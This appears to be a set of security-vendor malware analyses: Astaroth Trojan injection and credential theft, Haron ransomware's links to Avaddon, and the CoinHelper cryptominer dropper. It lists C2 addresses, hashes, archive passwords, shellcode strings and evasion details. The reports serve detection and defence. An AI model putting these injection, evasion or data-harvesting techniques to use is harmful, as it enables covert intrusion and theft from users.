After the module loads with regsvr32.exe, the Irdsnhrxxxfery64 module injects another module Irdsnhrxxxfery98, which was downloaded by the script into regsvr32.exe using the LoadLibraryExW() function. Similar to the previous case, if Avast and aswrundll.exe are on the machine, Irdsnhrxxxfery98 will be injected into that process instead of regsvr32.exe.
After the Irdsnhrxxxfery98 module is loaded, the malware searches different processes to continue its malicious activity depending on the way Irdsnhrxxxfery64 was loaded:
1. If Irdsnhrxxxfery64 is loaded using aswrundll.exe, the module will continue to target aswrundll.exe. It will create new instances and continue to inject malicious content to it.
2. If Irdsnhrxxxfery64 is loaded using regsvr32.exe, it will target three processes: It will target unins000.exe if it is available. unins000.exe is a process developed by GAS Tecnologia that is common on Brazilian machines. If unins000.exe does not exist, it will target Syswow64\userinit.exe. userinit.exe is a native Windows process that specifies the program that Winlogon runs when a user logs on to their computer. Similarly, if unins000.exe and Syswow64\userinit.exe do not exist, it will target System32\userinit.exe.
## Injection Technique To Increase Stealthiness
After locating one of the target processes, the malware uses Process Hollowing (MITRE Technique T1093) to evasively create a new process from a legitimate source. This new process is in a suspended state so the malware can unmap its memory and write its contents to the new, allocated space. Once this is complete, it will resume the suspended process. By using this technique, the malware is able to leverage itself from a signed and verified legitimate Windows OS process, or, alternatively, if aswrundll.exe or unins000.exe exists, a signed and verified security product process.
The Cybereason platform was able to detect the malicious injection, identifying Irdsnhrxxxfery64.~, Irdsnhrxxxfery98.~, and module arqueiro.
## Data Exfiltration
The second module Irdsnhrxxxfery98.~ is responsible for a vast amount of information stealing and is able to collect information through hooking, clipboard usage, and monitoring the keystate. In addition to its own information stealing capabilities, the Astaroth Trojan campaign also uses an external feature NetPass. NetPass is one of the downloaded payload files renamed to lrdsnhrxxferyb.jpg. NetPass is a free network password recovery tool that, according to its developer Nirsoft, can recover passwords including:
- Login passwords of remote computers on LAN.
- Passwords of mail accounts on an exchange server stored by Microsoft Outlook.
- Passwords of MSN Messenger and Windows Messenger accounts.
- Internet Explorer 7.x and 8.x passwords from password-protected websites that include Basic Authentication or Digest Access Authentication.
- The item name of Internet Explorer 7 passwords that always begin with Microsoft_WinInet prefix.
- The passwords stored by Remote Desktop 6.
After injecting into the targeted processes, the modules continue their malicious activity through those processes. The malware executes malicious activity in a small period of time through the target process, deletes itself, and then repeats. This occurs periodically and is persistent. Once the targeted processes are infected by the malicious modules, they begin communicating with the payload C2 server and exfiltrating information saved to the r1.log file. The communication and exfiltration of data was detected in a real-world scenario using the Cybereason platform.
## Conclusion
Our Active Hunting Service was able to detect both the malicious use of the BITSAdmin utility and the WMIC utility. Our customer immediately stopped the attack using the remediation section of our platform and prevented any exfiltration of data. From there, our hunting team identified the rest of the attack and completed a thorough analysis.
We were able to detect and evaluate an evasive infection technique used to spread a variant of the Astaroth Trojan as part of a large, Brazilian-based spam campaign. In our discovery, we highlighted the use of legitimate, built-in Windows OS processes used to perform malicious activities to deliver a payload without being detected, as well as how the Astaroth Trojan operates and installs multiple modules covertly. We also showed its use of well-known tools and antivirus products to expand its capabilities. The analysis of the tools and techniques used in the Astaroth campaign shows how truly effective LOLbins are at evading antivirus products. As we enter 2019, we anticipate that the use of LOLbins will likely increase. Because of the great potential for malicious exploitation inherent in the use of native processes, it is very likely that many other information stealers will adopt this method to deliver their payload into targeted machines.
As a result of this detection, the customer was able to contain an advanced attack before any damage was done. The Astaroth Trojan was controlled, WMIC was disabled, and the attack was halted in its tracks. Part of the difficulty identifying this attack is in how it evades detection. It is difficult to catch, even for security teams aware of the complications ensuring a secure system. LOLbins are deceptive because their execution seems benign at first, or even sometimes safe, as with the malicious use of antivirus software. As the use of LOLbins becomes more commonplace, we suspect this complex method of attack will become more common as well. The potential for damage will grow as attackers will look to other more destructive payloads.
## Indicators of Compromise
**SHA1 Hashes:**
- NF-e513468.zip: 01782747C12Bf06A52704A144DB59FEC41B3CB36
- Script.js: 1F83403398964D4E8B6C70B171C51CD278909172
- lrdsnhrxxfery64.~: CE8BDB56CCAC55C6881701EBD39DA316EE7ED18D
- lrdsnhrxxfery98.~: 926137A50f473BBD257CD19E207C1C9114F6B215
- lrdsnhrxxferyb.jpg: 5579E03EB1DA076EF939196CB14F8B769F30A302
- lrdsnhrxxferyc.jpg: B2734835888756929EE3FF4DCDE85080CB299D2A
- lrdsnhrxxferydwwn.gif: 206352E13D601239E2D043D971EA6657C091071A
- lrdsnhrxxferydx.gif: 9CD5A399C9320CBFB87C9D1CAD3BC366FB12E54F
- lrdsnhrxxferye.jpg: 206352E13D601239E2D043D971EA6657C091071A
- lrdsnhrxxferyg.gif: 4CDE9A53A9A49D606BC89E74D47398A69E767056
- lrdsnhrxxferygx.gif: F99319B1B321AE9F2D1F0361BC756A43D25444CE
- lrdsnhrxxferyxa.~: B85C106B68ED410107f97A2CC38b7EC05353F1FA
- lrdsnhrxxferyxb.~: 77809236FDF621ABE37B32BF073B0B893E9CE67A
- r1.log: C2F3350AC58DE900768032554C009C4A78C47CCC
**C2 IPs:**
- 104.129.204[.]41
- 63.251.126[.]7
- 195.157.15[.]100
- 173.231.184[.]59
- 64.95.103[.]181
**C2 Domains:**
- 19analiticsx00220a[.]com
- qnccmvbrh.wilstonbrwsaq[.]pw
## About the Author
**Cybereason Nocturnus**
The Cybereason Nocturnus Team has brought the world’s brightest minds from the military, government intelligence, and enterprise security to uncover emerging threats across the globe. They specialize in analyzing new attack methodologies, reverse-engineering malware, and exposing unknown system vulnerabilities. The Cybereason Nocturnus Team was the first to release a vaccination for the 2017 NotPetya and Bad Rabbit cyberattacks. |
# Quick Analysis of Haron Ransomware (feat. Avaddon and Thanos)
**Author:** Talon @ S2WLAB
**Date:** July 23, 2021
Haron ransomware was first discovered in July 2021. When infected with this ransomware, the extension of the encrypted file is changed to the victim’s name. They are using a ransom note and operating their own leak site similar to Avaddon ransomware. They have disclosed only one victim on the leak site so far.
## Detailed Analysis
### A. Similarity of Ransom Notes
The highlighted part in the picture above is the same part between Haron and Avaddon. The main difference is that Haron suggests a specific ID and Password for the victim to log in to the negotiation site.
### B. Similarity of Negotiation Sites
**B-1.** Haron operates the negotiation site and leak site on the same domain. Avaddon operated negotiation and leak sites on different domain addresses. In the case of Haron, ID and password are required to have access to the negotiation page.
**B-2.** The appearance of the negotiation site is almost identical except for the name of ransomware “Haron” or “Avaddon.” The overall interface and string of the negotiation page are similar, but the date notation hh:mm dd:MM:yyyy has converted to hh:mm and the icon in the chat window has disappeared.
**B-3.** Haron’s chat feature is built based on open source. The JavaScript used for chat is the open-source code published on the Russian Developer Forum in the past.
### C. Similarity of the Leak Sites
As shown in the picture above, the leak site of Haron has the same structure as that of Avaddon. Haron also uses a strategy to induce negotiations within that period by setting the time for the next data update, but there is no DDoS attack notice yet. It has not been confirmed whether they would carry out a DDoS attack like Avaddon. Also, Avaddon gave 10 days for negotiation, but Haron gave about 6 days.
### D. Comparative Analysis of Haron and Avaddon
**D-1.** There are logos, icons as well as sample data of victims used by Avaddon on Haron’s server. However, all of the files can be collected at the client level. The last modified date of the files is the same as the date (2021–06–11) when Avaddon disappeared after sending the decryption key to BleepingComputer.
**D-2.** Haron is using Thanos Ransomware to infect victims. Even the functions are almost the same as before. Thanos ransomware is a RaaS that has been sold on the dark web since 2019. Recently, Thanos builder has been published on GitHub.
## Conclusion
1. It is difficult to conclude that Haron is a re-emergence of Avaddon based on our analysis. Avaddon developed and used their own C++ based ransomware. But Haron is using C# based Thanos ransomware which is publicly available. The web interface of Haron’s leak site is almost identical to that of Avaddon ransomware, assuming that Haron mimicked Avaddon’s UI. When ransomware gangs rebrand, they usually change many things such as the design of the leak site. Example: Gandcrab → Sodinokibi/REvil, Babuk → Payload.bin.
2. Haron ransomware gang doesn’t have their own dedicated skills compared to other well-known ransomware gangs such as Avaddon. They are using Thanos ransomware leaked to the public, an open-source chat feature on their negotiation site, and a copycat UI from Avaddon on their leak site. There is an insufficient authentication process when accessing the negotiation site; anyone can enter the negotiation and leak site using test/test account. However, after this publication, the test account has been removed.
## Malware Hash
1. Haron: `6e6b78a1df17d6718daa857827a2a364b7627d9bfd6672406ad72b276014209c`
2. Thanos: `c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850` |
# Toss a Coin to your Helper (Part 2 of 2)
In the first posting of this series, we looked at a clipboard stealer belonging to the MyKings botnet. In this second part of the blog series, we will discuss in detail a very prevalent malware family of AutoIt droppers, that we call CoinHelper, used in a massive coinmining campaign. Since the beginning of 2021, Avast has protected more than 125,000 users worldwide from this threat.
CoinHelper is mostly bundled with cracked software installers such as WinRAR and game cheats. Regarding game cheats, we’ve seen this bundling with some of the most popular and famous games out there including (but not limited to): Extrim and Anxious (Counter-Strike Global Offensive cheats), Cyberpunk 2077 Trainer (Cyberpunk 2077 cheat), PUBG and CoD cheats, and Minecraft. We’ve also found this threat inside a Windows 11 ISO image from unofficial sources. We have even seen this threat bundled with clean software such as Logitech drivers for webcams. All in all, we have seen CoinHelper bundled with more than 2,700 different software so far, including games, game cheats, security software, utilities, clean and malware applications alike.
Our research brought us to this because we have seen a spread of these droppers via MyKings’ clipboard stealer payload as well, as described in our previous part of the blog post series. Nevertheless, we can’t attribute CoinHelper to MyKings botnet; on the contrary, based on the number of different sources of infection, we believe that CoinHelper used MyKings’ clipboard stealer as an additional system of malware delivery.
We have found some mentions of these AutoIt droppers in other blog posts from last year. One of the most notable instances was detailed by Trend Micro, describing a sample of the AutoIt dropper bundled with Zoom communicator (downloaded from an unofficial source) which happened in the early days of the COVID-19 pandemic when millions of new users were flocking to Zoom. Another instance is in a post from Cybereason mentioning a new dropper for XMRig miners.
In this blog post, we analyze the latest version of CoinHelper in detail, discuss the malware campaign, describe all its components as well as research into what applications are most often bundled with the malware and show how the malware spreads. We also outline some of the data harvesting that it performs on infected systems to map the infected victims.
## Campaign overview
Since the beginning of 2020, we have seen more than 220,000 attempts to infect our users with CoinHelper, most of them being in Russia (83,000). The second most targeted country is Ukraine with more than 42,000 attacked users.
### Monetary gain
One of the primary goals of CoinHelper is to drop a crypto miner on the infected machine and use the resources (electricity and computing power) of the victim’s computer to generate money for the attackers through mining. Even though we observed that multiple cryptocurrencies, including Ethereum or Bitcoin, were mined, there was one particular that stood out – Monero. From the total of 377 crypto wallet addresses we extracted from the malware, 311 of them mined Monero through crypto mining pools.
The reasons for criminals to choose Monero are quite obvious. Firstly, this cryptocurrency was created and designed to be private and anonymous. This means that tracing the transactions, owners of the accounts, or even amounts of money that were stolen and/or mined can be quite difficult. Secondly, this cryptocurrency has a good value at this time – you can exchange 1 XMR for ~$240 USD (as of 2021-11-29).
Even though Monero is designed to be anonymous, thanks to the wrong usage of addresses and the mechanics of how mining pools work, we were able to look more into the Monero mining operation of the malware authors and find out more about how much money they were able to gain.
To ensure more regular income, the miners were configured to use Monero mining pools. Mining pools are often used by miners to create one big and powerful node of computing power that works together to find a suitable hash and collect a reward for it. Because the search for the suitable hash is random, the more guesses you make, the bigger your chance to be successful. In the end, when the pool receives a reward, the money is split between the members of the pool depending on their share of work. Usage of the pools is very convenient for malware authors, specifically because pools work with a limited time. This is helpful for malware authors because it gives them a greater chance to successfully mine cryptocurrency in the limited time they have before their miners are discovered and eradicated.
In total, we registered 311 Monero addresses used in the configuration of miners dropped by the AutoIts. These addresses were used in more than 15 different Monero mining pools whereas our data and research confirm that the mining campaign is even bigger and a lot of the addresses were used across multiple pools. After diving more into the data that the pools offer, we are able to confirm that as of 2021-11-29 the authors gained more than 1,216 XMR solely by crypto mining, which translates into over $290,000 USD.
Apart from the Monero addresses, we also registered 54 Bitcoin addresses and 5 Ethereum addresses. After looking at these addresses we can conclude that these addresses received the following amounts of money:
| Cryptocurrency | Earnings in USD | Earnings in cryptocurrency | Number of wallets |
|----------------|------------------|---------------------------|-------------------|
| Monero | $292,006.08 | 1,216.692 [XMR] | 311 |
| Bitcoin | $46,245.37 | 0.796 [BTC] | 54 |
| Ethereum | $1,443.41 | 0.327 [ETH] | 5 |
This makes total monetary gain of this malware $339,694.86 USD as of 2021-11-29. The amounts from the table above are total incomes of the Bitcoin and Ethereum wallets, so we can’t exclude the possibility that some part of money comes from other activities than mining, but we assume that even those activities would be malicious. As can be seen from the data we collected, the major focus of this campaign is on mining Monero, where attackers used ~5 times more wallet addresses and gained ~6 times more money.
## Technical analysis
### Dropping the payload
Let’s continue straight away where we left off in the previous part. As we learned, the clipboard stealer could swap copy+pasted wallet addresses in the victim’s clipboard, as well as swap other links and information depending on the malware’s configuration. One of these links was `https://yadi[.]sk/d/cQrSKI0591KwOg`. After downloading and unpacking the archive (with a password `gh2018`), a new sample `Launcher.exe` is dropped. Note that this approach is very specific for the MyKings clipboard stealer and requires user’s interaction. In other, and most common, cases the user obtains a whole bundled installer from the internet, unintentionally executing the AutoIt during the installation of the expected software.
This sample is the first stage of a compiled AutoIt script, a dropper that we call CoinHelper, which provides all necessary persistence, injections, checking for security software along the way, and of course downloading additional malware onto the infected machine. Although this sample contains almost all of the latest functionality of these AutoIt droppers, it is not the latest version and some of their features are missing. For that reason, we decided to take a newer (but very similar) version of the dropper with a SHA `83a64c598d9a10f3a19eabed41e58f0be407ecbd19bb4c560796a10ec5fccdbf` instead and describe thoroughly all of the functionalities in one place.
### Overview of the infection chain
Let’s dive into the newer sample. This one is usually downloaded with a name `start.exe` on users’ machines and holds a Google Chrome icon. Upon a closer look, it is apparent that this is a compiled AutoIt binary. After extracting the AutoIt script from the sample we can see additional components:
- `asacpiex.dll`
- `CL_Debug_Log.txt`
- `glue\ChromeSetup.exe`
`CL_Debug_Log.txt` is a clean standalone executable of 7zip and `asacpiex.dll` is a damaged (modified) 7zip archive carrying the second stage of the malware. Soon, we will fix this archive and look inside as well, but first, let’s focus on the extracted AutoIt script. The last binary from the list above, placed in the `glue` folder, is one of the many possibilities of the bundled apps inside CoinHelper. In this case, we witness a clean setup installer of the Chrome browser. If you are interested in seeing what other applications are usually bundled with CoinHelper, see Bundled apps overview for details.
### Rude welcome
The AutoIt script is actually very readable. Well, perhaps even too much, looking at the vulgarity in the beginning. Note that `Region / EndRegion` is SciTE text editor’s feature to mark code regions. In this case, however, the script starts with the `EndRegion` clause and some well-known AutoIt decompilers, such as Exe2Aut (v0.10), struggle very much with this and are unable to decompile the script, effectively displaying just the rude welcome. Note that myAut2Exe (v2.12) for example has no issues with the decompilation.
We can also see here the beginning of the malware’s configuration, first checking for the existence of a mutex `QPRZ3bWvXh` (function called `_singleton`), followed by scheduled task configuration. As shown in the code above, the `SystemCheck` scheduled task presents itself as a `Helper.exe` application from Microsoft. However, Microsoft doesn’t provide any tool with such a name. The scheduled task is used for executing the malware, persistently.
The modification of the `asacpiex.dll` archive was done by nulling out the first five bytes of the file which can be easily restored to reflect the usual 7zip archive header: `37 7A BC AF 27`. The script is replacing even more bytes, but that is not necessary. Before we dive into the contents extracted from the archive (a keen eye already spotted that the password is `JDQJndnqwdnqw2139dn21n3b312idDQDB`), let’s focus on the rest of this script. We will continue with the unpacking of `asacpiex.dll` in the Exploring the second stage section.
In the code above, we also see that `ChromeSetup.exe` is placed into the glue folder. This folder (sometimes called differently, e.g. `new`) contains the original application with which the malware was bundled together. In our analysis we are showing here, this is a clean installer of the Chrome browser that is also executed at this stage to preserve the expected behavior of the whole bundle. We encountered many different applications bundled with CoinHelper. Research regarding these bundles is provided in a standalone subsection Bundled apps overview.
### Mapping the victims
In addition to fixing the damaged archive, executing the second stage, and ensuring persistence, the first stage holds one additional functionality that is quite simple, but effective. The malware uses public services, such as IP loggers, to aggregate information about victims. The IP loggers are basically URL shorteners that usually provide comprehensive telemetry statistics over the users clicking on the shortened link.
Additionally, as we will see further in this blogpost, the attacker harvests information about victims, focusing on the victim’s OS, amount of RAM installed, the CPU and video card information, as well as the security solutions present on the system. All the collected information is formatted and concatenated to a single string. This string is then sent to a hardcoded URL address in the form of a user-agent via GET request. In our sample, the hardcoded URL looks like `https://2no[.]co/1wbYc7`. Note that URLs such as these are sometimes also used in the second stage of CoinHelper as well. From our dataset, we have found 675 different URLs where the malware sends data.
Because the attackers often use public services without authentication, we can actually peek inside and figure out the figures from their perspective. The bottom line is that they are making a statistical evaluation of their various infection vectors (bundled installers from unofficial software sources, torrents, MyKings botnet, and more) across the infected user base, effectively trying to focus on people with higher-end machines as well as getting to know which regions in the world use what antivirus and/or security solutions.
As an example, we can see information available on one of the many still-active links containing a date and time of the click, IP address (anonymized) and ISP, corresponding geolocation, used web browser and of course, the user-agent string with the harvested data.
### Checking the CPU
The malware executes one of the two variants of shellcodes (x86 and x64), present in hexadecimal form:
```
0x5589E5538B45088B4D0C31DB31D20FA28B6D10894500895D04894D0889550C5B5DC3
0x5389C889D131DB31D20FA26741890067418958046741894808674189500C5BC3
```
When we disassemble the shellcodes, we can see common `cpuid` checks, returning all its values (registers `EAX`, `EBX`, `ECX`, `EDX`). Thus, the malware effectively harvests all the information of the currently present processor of the victim, its model and features.
All the information is parsed and particular features are extracted. Actually, the feature lists in the malware are identical to the CPUID Wikipedia page, exactly pointing out where the attacker was inspired. Even though all the information is harvested, only the AES instruction set bit is actually checked – if the processor supports this instruction set and it is x64, only then it will install the x64 bit version of the final stage (coinminer). In the other case, the x86 version is used. As we mentioned, the rest of the information is collected, but it is actually not used anywhere in the code.
### CPU and video card information
The `cpuid` check is not the only one that performs HW checks on the victim’s system. Two additional WMI queries are used to obtain the names of the victim’s processor and video card:
```
SELECT * FROM Win32_Processor
SELECT * FROM Win32_VideoController
```
Furthermore, the malware uses `GetSystemInfo` to collect the `SYSTEM_INFO` structure to check the number of cores the victim’s CPU has.
### AV checks
The script also checks for running processes, searching for security solutions present on the machine. This information is once again “just” logged and sent to the IP logging server – no other action is done with this information (e.g. altering malware’s functionality). The complete list of all the checked AV / Security solutions by their processes can be found in Appendix.
### Exploring the second stage – asacpiex.dll
Now, let’s dive into the second stage of the malware. After the `asacpiex.dll` archive is fixed, it is saved as `CR_Debug_Log.txt` to the `Temp` folder. To unpack the archive, the malware uses a password `JDQJndnqwdnqw2139dn21n3b312idDQDB`. This is the most common password for these AutoIt droppers. However, it is not the only one and so far, we counted two additional passwords:
- `dkwqdqw9324328NDQDN@@!)(#($%&^!ND21`
- `jDWQJkdqkwdqo2m@mdwmsxPAS,sq%`
Unpacking reveals two additional files:
- `32.exe`
- `64.exe`
Depending on the architecture of the OS and whether the AES instruction set is available, one of these files is copied into `C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Helper.exe` and executed (via a scheduled task). Both of these files are once again compiled AutoIt scripts, carrying functionality to distribute further payloads, in the form of coinminers, to victims via Tor network.
After the decompilation of the files, we can see that both of the output scripts are very similar. The only difference is that the x64 version tries to also utilize the user’s graphic card as well if possible for coinmining, not just the CPU. In the text below, we will focus on the x64 version since it contains more functionality.
Although `Helper.exe` is the most common name of the malware by far, it is not the only possibility. Other options we’ve seen in the wild are for example:
- `fuck.exe`
- `Helperr.exe`
- `svchost.exe`
- `System.exe`
- `system32.exe`
- `WAPDWA;DJ.exe`
- `WorkerB.exe`
### Helper.exe
As we already mentioned, the primary goal of the `Helper.exe` dropper is to drop an XMRig coinminer onto the victim’s system via Tor network. The coinminer is executed with a hardcoded configuration present in the script. `Helper.exe` holds a variety of other functionalities as well, such as performing several system checks on the victim’s PC, injecting itself into `%WINDIR%\System32\attrib.exe` system binary, checking the “idleness” of the system to intensify the mining, and more. Let’s now have a look at how all these functionalities work.
### Downloading coinminers via Tor network
The main purpose of the dropper is to download a payload, in our case a coinminer, onto the infected system. To do so, the malware performs several preparatory actions to set up the environment to its needs. First and foremost, the malware contains two additional files in hexadecimal form. The first is once again a clean 7zip binary (but different than `CL_Debug_Log.txt`) and the second one is a 7zip archive containing a clean Tor binary and belonging libraries:
- `libcrypto-1_1-x64.dll`
- `libevent-2-1-7.dll`
- `libevent_core-2-1-7.dll`
- `libevent_extra-2-1-7.dll`
- `libgcc_s_seh-1.dll`
- `libssl-1_1-x64.dll`
- `libssp-0.dll`
- `libwinpthread-1.dll`
- `tor.exe`
- `zlib1.dll`
To be able to unpack Tor, a password `DxSqsNKKOxqPrM4Y3xeK` is required. This password is also required for unpacking every downloaded coinminer as well, but we will get to that later.
After Tor is executed, it listens on port `9303` on localhost (`127.0.0.1`) and waits for requests. To prevent confusion at this point, note that this execution is hidden by default because `tor.exe` should not be mistaken for a Tor browser. `tor.exe` is a process providing Tor routing (without a GUI). In a common Tor browser installation, it can be usually found in `<Tor browser root folder>\Browser\TorBrowser\Tor\tor.exe`.
The script further contains a few Base64 encoded Tor addresses of the C&C servers and tries which one is alive. This is done by initializing SOCKS4 communication via a crafted request (in the hexadecimal form):
```
04 01 00 50 00 00 00 FF 00 $host 00
```
where `$host` is the demanded server address. The malware expects one of the standard protocol responses and only if the response contains `0x5A` byte, the malware will further proceed to communicate with the server.
| Byte | Meaning |
|------|---------|
| 0x5A | Request granted |
| 0x5B | Request rejected or failed |
| 0x5C | Request failed because client is not running identd (or not reachable from server) |
| 0x5D | Request failed because client’s identd could not confirm the user ID in the request |
The lists of Tor addresses differ quite a bit across multiple samples. So far we’ve seen 24 unique C&C servers. However, at the time of writing, only two of all the servers were still active:
- `2qepteituvpy42gggxxqaaeozppjagsu5xz2zdsbugt3425t2mbjvbad[.]onion`
- `jbadd74iobimuuuvsgm5xdshpzk4vxuh35egd7c3ivll3wj5lc6tjxqd[.]onion`
If we access the server using e.g. Tor browser, we can see a default Windows Server landing page. Note that this is a very common landing page for MyKings C&Cs. However, this single fact is not sufficient for attributing CoinHelper to MyKings.
The malware is capable of downloading four files in total from an active server, present in a “public” subfolder:
- `public/upd.txt`
- `public/64/64.txt` (or `public/32/32.txt` if the “32 bit variant” of the script is used)
- `public/vc/amd.txt`
- `public/vc/nvidia.txt`
The files `64.txt` (or `32.txt`), `amd.txt`, and `nvidia.txt` are all XMRig coinminers (encoded and compressed), both for CPU or an according GPU card. The `upd.txt` file is a plaintext file containing a version number bounded by `_` and `!` symbols, for example `_!1!_`. The malware asks the server what’s the version and if the version is newer, all coinminers are updated (downloaded again).
The miners are downloaded as a hexadecimal string from the C&C, ending with a constant string `_!END!_`. After the end stub is removed and the string decoded, we get a 7zip archive. Once again, we can use the `DxSqsNKKOxqPrM4Y3xeK` password to unpack it. After the unpacking, we can get these files:
- `SysBackup.txt` – for CPU miners (both 32 and 64 bit)
- `SysBackupA.txt` – when there is also AMD GPU detected
- `SysBackupN.txt` – when there is also NVIDIA GPU detected
These files are once again present in a hexadecimal form, this time starting with `0x` prefix and without the end stub. Furthermore, a few additional files can be found with the “SysBackup” files for ensuring the mining functionality and optimal mining, when appropriate (for example `xmrig-cuda.dll` for NVIDIA cards).
### Coinmining
The coinmining (and the 7zip unpacking) is executed via process injection. The CPU coinmining is performed by injecting into a newly created and suspended process of `%WINDIR%\System32\attrib.exe`. Execution of all the other components, such as GPU mining or unpacking of the coinminer payloads downloaded from Tor, is done by injecting into itself, meaning a new suspended instance of `Helper.exe` is used for the injection. When there is coinmining on GPU supported, both CPU and GPU are executed in parallel.
Note that the injection is done by a publicly available AutoIt injector, so the author chose the copy+paste way without reinventing the wheel. From our research, we’ve only seen XMRig to be deployed as the final coinmining payload. The malware executes it with common parameters, with one approach worth mentioning – a parameter setting the password for the mining server `-p`. In standard situations, the password doesn’t really matter so the malware authors usually use `x` for the password. In this case, however, the malware generates a GUID of the victim and appends it to the usual `x`.
The GUID is created by concatenating values from one of the WMI queries listed below:
```
SELECT * FROM Win32_ComputerSystemProduct
SELECT * FROM Win32_BIOS
SELECT * FROM Win32_Processor
SELECT * FROM Win32_PhysicalMedia
```
Which query should be used is defined in the configuration of the AutoIt script. The GUID is created by hashing the obtained information using MD5 and formatted as a standard GUID string: `/\{[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}\}/`. With this approach, the malware author is in fact able to calculate the exact number of infected users who are actually mining, because all the mining will be performed via a unique password, passing it as an ID of the “worker” (= victim) to the pool.
### Persistence
Similarly to the first stage, at the beginning of the second stage, particular mutexes are checked and created if necessary:
- `QPRZ1bWvXh`
- `QPRZ1bWvXh2`
- `QPRZ2bWvXh`
- `QPRZ3bWvXh`
For the sake of staying hidden for the longest time possible, the malware checks several processes using a native AutoIt `ProcessExists` function for any running system monitoring and analysis tools:
- `aida64.exe`
- `AnVir.exe`
- `anvir64.exe`
- `GPU-Z.exe`
- `HWiNFO32.exe`
- `HWiNFO64.exe`
- `i7RealTempGT.exe`
- `OpenHardwareMonitor.exe`
- `pchunter64.exe`
- `perfmon.exe`
- `ProcessHacker.exe`
- `ProcessLasso.exe`
- `procexp.exe`
- `procexp64.exe`
- `RealTemp.exe`
- `RealTempGT.exe`
- `speedfan.exe`
- `SystemExplorer.exe`
- `taskmgr.exe`
- `VirusTotalUpload2.exe`
When the tool is spotted, the malware temporarily disables the mining. The information about running coinminers is stored in two files:
- `mn.pid`
- `gmn.pid`
As their names might disclose, a particular PID of the running (GPU) coinminer is written there. The malware also monitors whether the victim actually uses their PC at the moment. If the user is idle for a while, in our particular case for 3 minutes, the current coinmining is terminated and a new coinmining process is executed and set to leverage 100% of the CPU on all threads. This information (PID) is stored in a file called `mn.ld`. When the PC is actively used, the mining is set to 50% of the available performance. On the other hand, GPU mining is performed only when the user is not actively using their PC (for 2 minutes).
The malware also lists all console windows present on the system and finds out those that have visibility set to hidden. If such a window is found and it doesn’t belong to CoinHelper, the malware considers it as a competing miner and kills the process.
### Data harvesting and AV checks
Similarly to the previous AutoIt stage, `Helper.exe` collects information about the infected system, too, as shown in the table below:
| Information | Purpose |
|----------------------------------|---------|
| Number of available CPU threads | If the victim’s system is idle, the malware leverages all CPU threads |
| Video card type | What kind of card is used – for Nvidia or AMD optimized coinmining |
| CPU type | Not used (*see below) |
| Security solution | Not used (*see below) |
| HW ID hashed by MD5 | Appended to XMRig password, resulting in a parameter `-p xMD5` |
As we could see (*) in the table above, the code actually contains functions for the harvesting of some information that is not actually executed. This means that while it could gather this information, it doesn’t. Due to similarities with the first stage, we suppose that the authors have forgotten some artifacts of previous versions due to shifts of functionality between the first AutoIt stage and the `Helper.exe` stage.
The malware recognizes which graphic card is available on the infected system. These cards are detected using the WMI query on `Win32_VideoController`. You can find all the cards, as presented in the malware, in the table below:
| AMD Series | AMD Model |
|------------|-----------|
| RX | 460, 470, 480, 540, 550, 560, 570, 580, 590, 640, 5500, 5600, 5700, 6800, 6900 |
| R5 | 230 |
| R7 | 240 |
| VEGA | 56, 64 |
| Radeon | 520, 530, 535, 540, 550, 610, 620, 625, 630, VII |
| WX | 3100, 5100 |
| Nvidia Series | Nvidia Model |
|---------------|--------------|
| | P104-100 |
| | P106-090 |
| GTX | 750, 970, 980, 980, 1050, 1060, 1070, 1080, 1650, 1660, TITAN |
| RTX | 2050, 2060, 2070, 2080, 3060, 3070, 3080, 3090 |
| GT | 710, 720, 730, 740, 1030 |
| Quadro | K1000, K1200, P400, P620, P1000, P2000, P2200, P5000 |
If any card from above is detected and also the video adapter name matches either “Advanced Micro Devices, Inc.” or “NVIDIA”, the malware uses XMRig to leverage GPU for coinmining. From the list of graphic cards, it is apparent that the malware doesn’t hesitate to leverage the newest models of graphic cards.
## Bundled apps overview
After looking at the software that the infected victims originally wanted to install, we can conclude that CoinHelper can be bundled with practically anything. So far, we’ve seen over 2,700 different apps bundled with CoinHelper (differentiating by unique SHA256 hashes). The majority of the software consists of clean installers, cracked software, cracked games or game cheats like `ChromeSetup`, `Photoshop`, `MinecraftSetup`, `Assassin’s Creed Valhalla`, `CyberPunk 2077 Trainer` or `AmongUs cheats`. With repertoire like this, the authors of CoinHelper are able to reach out to almost any type of audience ensuring successful spread of the malware.
Persuading someone to download supposedly clean software, which is in reality bundled with malware, is easier than persuading someone to willingly download malware which is secretly bundled with another malware. Authors of CoinHelper are not afraid of this challenge as we observed CoinHelper to be also bundled with samples of malware like `888 RAT` or `njRAT`. We assume that with this approach, the target group of people gets extended by “script kiddies” and inexperienced people with an interest in malware. As this group of people is very specific, there are only a few samples of malware in comparison with the amount of other software.
Apart from the Yandex Disk storage from where we started our investigation, we can confirm that another considerable method of spreading CoinHelper is via malicious torrents placed on internet forums focused on cracked software.
### Forums overview
The authors of the malware successfully made it easy for people to stumble upon the malicious torrents. During our research, we found CoinHelper bundled with software on Russian internet forums focusing on cracked software:
- `windows-program[.]com`
- `softmania[.]net`
Even though we were able to find information about the number of downloads of the malware from these forums, it wasn’t nearly enough to explain the number of hits from our user base. Because of this, we have to assume that there are tens of forums like the ones mentioned above, spreading malware through cracked software.
### More about the forums
Let’s focus on the first forum `windows-program[.]com`, as the other one is very similar. Between the thousands and thousands of articles, we found the samples we were looking for. As it turns out, registered user `Alex4` created 29 different articles mostly containing torrents for cracked software including:
| Advertised software | Description & functionality |
|---------------------|-----------------------------|
| Ableton Live Suite 9.7.3 + Crack + торрент | Audio workstation and music production software with current price 599 € |
| Dr.Web Security Space 11.0.0.11162 x86 x64 + ключ + торрент | Anti-virus solution |
| ESET NOD32 Smart Security 10.1.219.1 + ключи + торрент | Anti-virus solution |
| Avast Premier 11.2.2260 + ключ + торрент | Anti-virus solution |
| Adobe Photoshop CC 2017.1.1 + Portable + торрент | Photo and image editing software |
| Fraps 3.5.99 на русском + crack + торрент | Screen capture and screen recording utility, popular to videocapture games |
As can be seen in the table above, CoinHelper can be also found bundled with multiple well-known AV solutions. Let’s take a closer look at a post about Avast AV for the sake of awareness about threats that come with downloading AV from sources like this.
